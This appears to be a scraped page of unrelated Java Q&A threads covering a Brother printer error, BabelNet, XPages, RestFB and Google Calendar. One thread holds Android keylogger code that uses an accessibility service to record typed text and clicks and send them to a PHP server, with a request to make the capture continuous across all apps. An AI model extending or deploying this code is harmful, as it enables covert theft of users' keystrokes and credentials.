I have been trying to get my android code to print to a new Brother Printer but
I keep getting ERROR_WRONG_LABEL.
I also get the information:
D/Brother Print SDK: no such enum object for the id: -1
This is my code:
public void printLabel() {
Printer myPrinter = new Printer();
PrinterInfo myPrinterInfo = new PrinterInfo();
try {
myPrinterInfo.printerModel = PrinterInfo.Model.QL_710W;
myPrinterInfo.ipAddress = "12.1.3.45";//not real ip
myPrinterInfo.macAddress = "";
myPrinterInfo.port = PrinterInfo.Port.NET;
myPrinterInfo.paperSize = PrinterInfo.PaperSize.A7;
myPrinterInfo.printMode=PrinterInfo.PrintMode.FIT_TO_PAGE;
myPrinterInfo.numberOfCopies = 1;
LabelInfo mLabelInfo = new LabelInfo();
mLabelInfo.labelNameIndex = 5;
mLabelInfo.isAutoCut = true;
mLabelInfo.isEndCut = true;
mLabelInfo.isHalfCut = false;
mLabelInfo.isSpecialTape = false;
myPrinter.setPrinterInfo(myPrinterInfo);
myPrinter.setLabelInfo(mLabelInfo);
//File downloadFolder = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS);
Log.i("HEYYYY", "startCommunication = " + myPrinter.startCommunication());
Bitmap map = BitmapFactory.decodeResource(getResources(), R.drawable.ic_action_overflow);
PrinterStatus printerStatus = myPrinter.printImage(map);
Log.i("HEYYYY", "errorCode-11 = " + printerStatus.errorCode);
Log.i("HEYYYY", "labelWidth = " + myPrinter.getLabelParam().labelWidth);
Log.i("HEYYYY", "paperWidth = " + myPrinter.getLabelParam().paperWidth);
Log.i("HEYYYY", "labelNameIndex " + mLabelInfo.labelNameIndex);
Log.i("HEYYYY", "printers " + myPrinter.getNetPrinters("QL-710W"));
Log.i("Label-id", myPrinter.getPrinterStatus().labelId + "");
myPrinter.endCommunication();
} catch(Exception e){
e.printStackTrace();
}
}
Whenever I put the mac address which I got from the printer page, the error code changes to
ERROR_NOT_MATCH_ADDRESS.
But without it(setting it to an empty string or commenting it out), it changes to
ERROR_WRONG_LABEL.
What is wrong with this code, please?
UPDATE:
I inserted the correct mac id and now the error code is
ERROR_WRONG_LABEL
what do I do?
After reading through the manual that came with it, I discovered that the ERROR_WRONG_LABEL code occurs due to wrong labelNameIndex or wrong paperSize.
I set the labelNameIndex value to 15 and, voila it worked.
I feel anyone facing this problems should try out various values for the labelNameIndex.
Thanks.
Related
I am trying to restrict the results of my BabelNet query to a specific (Babel)domain. To do that, I'm trying to find out a way to compare the synsets' domains with the domain I need (Geographical). However, I'm having trouble getting the right output, since although the 2 strings match, it still gives me the wrong output. I'm surely doing something wrong here, but I'm out of ideas.
After many trials, the following code was the one that gave me the nearest result to the desired output:
public class GeoRestrict {
public static void main(String[] args) throws IOException {
String file = "/path/to/file/testdata.txt";
BabelNet bn = BabelNet.getInstance();
BufferedReader br = new BufferedReader(new FileReader(file));
String word = null;
while ((word = br.readLine()) != null) {
BabelNetQuery query = new BabelNetQuery.Builder(word)
.build();
List<BabelSynset> wordSynset = bn.getSynsets(query);
for (BabelSynset synset : wordSynset) {
BabelSynsetID id = synset.getID();
System.out.println("\n" + "Synset ID for " + word.toUpperCase() + " is: " + id);
HashMap<Domain, Double> domains = synset.getDomains();
Set<Domain> keys = domains.keySet();
String keyString = domains.keySet().toString();
List<String> categories = synset.getDomains().keySet().stream()
.map(domain -> ((BabelDomain) domain).getDomainString())
.collect(Collectors.toList());
for (String category : categories) {
if(keyString.equals(category)) {
System.out.println("The word " + word + " has the domain " + category);
} else {
System.out.println("Nada! " + category);
}
}
}
}
br.close();
}
}
The output looks like this:
Synset ID for TURIN is: bn:00077665n
Nada! Geography and places
Any ideas on how to solve this issue?
I found my own error. For the sake of completeness I'm posting it.
The BabelDomain needs to be declared and specified (before the while-loop), like this:
BabelDomain domain = BabelDomain.GEOGRAPHY_AND_PLACES;
I am not a coder, just tring to learn and understand Java.
I have code for Android Keylogger, which collects keystrokes and send to php file.
I get log also ,but not all, but I want 3 things to working
How I set particular time for getting logs?
How I get all open app/window logs?
How I get continue log? Meaning when Keylogger command is given, it should be continue get logs as timer set
Here is main Java code:
if(onKeylogger) {
try {
DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
String time = df.format(Calendar.getInstance().getTime());
switch (event.getEventType()) {//Keylogger
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
SF.Log("KEY1", time + "|(TEXT)|" + data);
textKeylogger = time + "|(TEXT)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
SF.Log("KEY2", time + "|(FOCUSED)|" + data);
textKeylogger = time + "|(FOCUSED)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
SF.Log("KEY3", time + "|(CLICKED)|" + data);
textKeylogger = time + "|(CLICKED)|" + data + "|^|";
break;
}
default:
break;
}
} catch (Exception ex) {
SF.Log("ERROR1","AccessibilityService");
}
}
AccessibilityNodeInfo nodeInfo = event.getSource();
if (AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED == event.getEventType()) {
try {
//---keylogger---
if (onKeylogger) {
if (textKeylogger.length() > 2) {
writeFile("keys.log", textKeylogger);
}
}
if (SF.SetRead(this, "keylogger").equals("true")) {
onKeylogger = true;
} else {
onKeylogger = false;
}
//---------------//
I get instant log , I tried to changed some code like
(textKeylogger.length() > 2)
to
(textKeylogger.length() > 20)
Sorry, as I am beginner, so may it may silly editing. But not all logs I get at my php file.
Note : these code Grab keystrokes, which generate .txt log file at my server panel.
My XPage gathers information which I use to populate a document in a different Domino database. I use a link button (so I can open another XPage after submission). The onClick code is as follows:
var rtn = true
var util = new utilities()
var hostURL = configBean.getValue("HostURL");
var userAttachment;
//set up info needed for checking duplicates
var attachName=getComponent("attachmentIdentifier").getValue();
var serialNbr = getComponent("serialNumber").getValue();
userAttachment = user+"~"+attachName;
var userSerial = user+"~"+serialNbr;
//Done setting info needed
//check for duplicates
rtn = utilBean.checkAttachmentName(userAttachment, userSerial)
//done
if(rtn==true){
var doc:Document = document1;
dBar.info("ALL IS GOOD");
var noteID:String=document1.getNoteID();
dBar.info("Calling saveNewAttachment using NoteID " + noteID )
rtn=utilBean.saveNewAttachment(session,noteID ); //<<< I get error here
dBar.info("rtn = " + rtn)
return "xsp-success";
view.postScript("window.open('"+sessionScope.nextURL+"')")
}else if (rtn==false){
errMsgArray = utilBean.getErrorMessages();
for(err in errMsgArray){
//for (i=0; i < errMsgArray.size(); i++){
dBar.info("err: "+ err.toString());
if (err== "nameUsed"){
//send message to XPXage
facesContext.addMessage(attachmentIdentifier.getClientId(facesContext) , msg(langBean.getValue("duplicateName")));
}
if(err=="serialUsed"){
//send message to XPXage
facesContext.addMessage(serialNumber.getClientId(facesContext) , msg(langBean.getValue("duplicateSerial")));
}
}
return "xsp-failure";
}
And the java code that delivers the error is this
public boolean saveNewAttachment(Session ses, String noteID)
throws NotesException {
debugMsg("Entering saveNewAttachment and NOTEID = "+noteID);
// this is used when the user saves an attachment to to the
// user profiles db
boolean rtn = false;
Document doc;
ConfigBean configBean = (ConfigBean)
ExtLibUtil.resolveVariable(FacesContext.getCurrentInstance(),
"configBean");
String dbName = (String) configBean.getValue("WebsiteDbPath");
debugMsg("A");
Database thisDB = ses.getDatabase(ses.getServerName(), dbName, false);
String value;
try {
debugMsg("noteID: "+noteID);
The next line throws the NotesException error
doc = thisDB.getDocumentByID("noteID");
debugMsg("C");
} catch (Exception e) {
debugMsg("utilitiesBean.saveAttachment: " + e.toString());
e.printStackTrace();
System.out.println("utilitiesBean.saveAttachment: " + e.toString());
throw new RuntimeException("utilitiesBean.saveAttachment: "
+ e.toString());
}
return rtn;
}
I might be going about this wrong. I want to save the document which the data is bound to the User Profile database but if I submit it I need to redirect it to a different page. That is why I am using a link, however, I am having a hard time trying to get the document saved.
Has document1 been saved before this code is called? If not, it's not in the backend database to retrieve via getDocumentByID().
I'm assuming this line has been copied into here incorrectly, because "noteID" is not a NoteID or a variable holding a NoteID, it's a string.
doc = thisDB.getDocumentByID("noteID");
At first: I know there were some similar topics and I wrote some code according to them (as seeing below). I'm new in Facebook api so I'm a little bit lost :D
Anyway, my app has to get all wall posts and comments but I'm not able to get it all. Could anyone help me please? Here are my methods:
public static void getFacebookPosts(String url){
try{
LoggedFacebookClient client = new LoggedFacebookClient();
Page page = client.fetchObject(url, Page.class);
System.out.println(page.getName());
Connection<Post> pageFeed = client.fetchConnection(page.getId() + "/feed", Post.class);
//Getting posts:
for (List<Post> feed : pageFeed){
for (Post post : feed){
//PRINTING THE POST
getAllPostComments(post.getId(), client);
}
}
}catch(com.restfb.exception.FacebookOAuthException ex){
System.out.println("\n!!!!!!! Token Expired !!!!!!!!\n");
}
}
private static void getAllPostComments(String postId, DefaultFacebookClient client){
int currentCount = 0;
JsonObject jsonObject = client.fetchObject(postId + "/comments", JsonObject.class,
Parameter.with("summary", true), Parameter.with("limit", 1));
long commentsTotalCount = jsonObject.getJsonObject("summary").getLong("total_count");
System.out.println("\nComments:");
boolean pom = true;
while(pom == true){ //There should be "while(currentCount < commentsTotalCount)" but currentCount is always < then commentsTotalCount. That's the problem :)
pom = false;
Connection<Comment> comments = client.fetchConnection(postId + "/comments",
Comment.class, Parameter.with("limit", 50000), Parameter.with("offset", currentCount));
for(Comment komentar : comments.getData()){
pom = true;
currentCount++;
stazenychKomentu++;
String mess = komentar.getMessage().replaceAll("\n", " ").replaceAll("\r", " ");
System.out.println(" [" + currentCount + "]: " + komentar.getFrom().getName() + " ## " + mess);
}
}
celkemKomentu += commentsTotalCount;
System.out.println(currentCount + " / " + commentsTotalCount);
}
and here is the way I get the acces token:
public LoggedFacebookClient(){
super();
AccessToken accessToken = this.obtainAppAccessToken(API_KEY, APP_SECRET);
this.accessToken = accessToken.getAccessToken();
}
I would be very grateful if anyone could help me. Thanks a lot and sorry if my English isn't perfect.
If you want to get all posts you just need to make this:
while (pageFeed.hasNext()) {
pageFeed = facebookClient.fetchConnectionPage(pageFeed.getNextPageUrl(),Post.class);
}
Parameter.with("limit", xxx) work for less then 200 posts. And don't forget about long-live access token!
GET /oauth/access_token?
grant_type=fb_exchange_token&
client_id={app-id}&
client_secret={app-secret}&
fb_exchange_token={short-lived-token}
https://developers.facebook.com/docs/facebook-login/access-tokens#pagetokens
How to get the Date/time for an Event I retrieve ?
CalendarService myService = new CalendarService("exampleCo-exampleApp-1");
myService.setUserCredentials("username#gmail.com", "pwd");
URL feedUrl = new URL("https://www.google.com/calendar/feeds/username#gmail.com/public/full");
CalendarQuery myQuery = new CalendarQuery(feedUrl);
myQuery.setFullTextQuery("Query");
CalendarEventFeed myResultsFeed = myService.query(myQuery,
CalendarEventFeed.class);
for (int i=0; i < myResultsFeed.getEntries().size(); i++)
{
CalendarEventEntry firstMatchEntry = (CalendarEventEntry) myResultsFeed.getEntries().get(i);
String myEntryTitle = firstMatchEntry.getTitle().getPlainText();
System.out.println(myEntryTitle + " " + firstMatchEntry.getPlainTextContent());
System.out.println(""+firstMatchEntry.getAuthors().get(0).getEmail());
System.out.println(""+firstMatchEntry.getPublished());
System.out.println(""+firstMatchEntry.getHtmlLink().getHref());
System.out.println(""+firstMatchEntry.getStatus().getValue());
}
I couldn't find a way to get any more useful info from a CalendarEventEntry.
LE: problem solved; after seeing this:
http://code.google.com/apis/calendar/data/1.0/developers_guide_php.html#RetrievingEvents
I got to this:
System.out.println("start time = "+firstMatchEntry.getTimes().get(0).getStartTime());
System.out.println("start time = "+firstMatchEntry.getTimes().get(0).getEndTime());
Good thing the examples are different depending on language.
Problem solved; after seeing this:
http://code.google.com/apis/calendar/data/1.0/developers_guide_php.html#RetrievingEvents
I got to this:
System.out.println("start time = "+firstMatchEntry.getTimes().get(0).getStartTime());
System.out.println("start time = "+firstMatchEntry.getTimes().get(0).getEndTime());